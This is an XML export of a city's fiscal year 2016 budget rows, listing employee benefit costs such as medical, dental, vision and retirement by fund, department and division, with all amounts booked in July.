<row _id="22319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>15860</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15860</total></row>
<row _id="22320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>167085</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>167085</total></row>
<row _id="22321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>80999</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80999</total></row>
<row _id="22322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>38590</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38590</total></row>
<row _id="22323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1938</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1938</total></row>
<row _id="22324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6409</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6409</total></row>
<row _id="22325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3967</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3967</total></row>
<row _id="22326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>746</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>746</total></row>
<row _id="22327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3246</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3246</total></row>
<row _id="22328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1641</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1641</total></row>
<row _id="22329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13338</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13338</total></row>
<row _id="22330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6376</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6376</total></row>
<row _id="22331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>829454</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>829454</total></row>
<row _id="22332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>650291</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>650291</total></row>
<row _id="22333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>140208</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>140208</total></row>
<row _id="22334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1582</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1582</total></row>
<row _id="22335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11757</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11757</total></row>
<row _id="22336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>34540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>34540</total></row>
<row _id="22338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2864</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2864</total></row>
<row _id="22339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9311</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9311</total></row>
<row _id="22340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>574</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>574</total></row>
<row _id="22341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6707</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6707</total></row>
<row _id="22342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D[</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2188</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2188</total></row>
<row _id="22343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5008</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5008</total></row>
<row _id="22344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>646</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>646</total></row>
<row _id="22345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1163</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1163</total></row>
<row _id="22346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11795</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11795</total></row>
<row _id="22347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13138</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13138</total></row>
<row _id="22348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>319</total></row>
<row _id="22349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3715</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3715</total></row>
<row _id="22350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8734</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8734</total></row>
<row _id="22351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1308</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1308</total></row>
<row _id="22352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>936</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>936</total></row>
<row _id="22353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19900</total></row>
<row _id="22354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1076</total></row>
<row _id="22355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2821</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2821</total></row>
<row _id="22356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3630</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3630</total></row>
<row _id="22357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3799</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3799</total></row>
<row _id="22358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>502</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>502</total></row>
<row _id="22359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1688</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1688</total></row>
<row _id="22361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1788</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1788</total></row>
<row _id="22362"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5078</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5078</total></row>
<row _id="22363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5473</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5473</total></row>
<row _id="22364"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>29880</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29880</total></row>
<row _id="22365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2509</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2509</total></row>
<row _id="22366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20550</total></row>
<row _id="22367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>251304</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>251304</total></row>
<row _id="22368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>226558</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>226558</total></row>
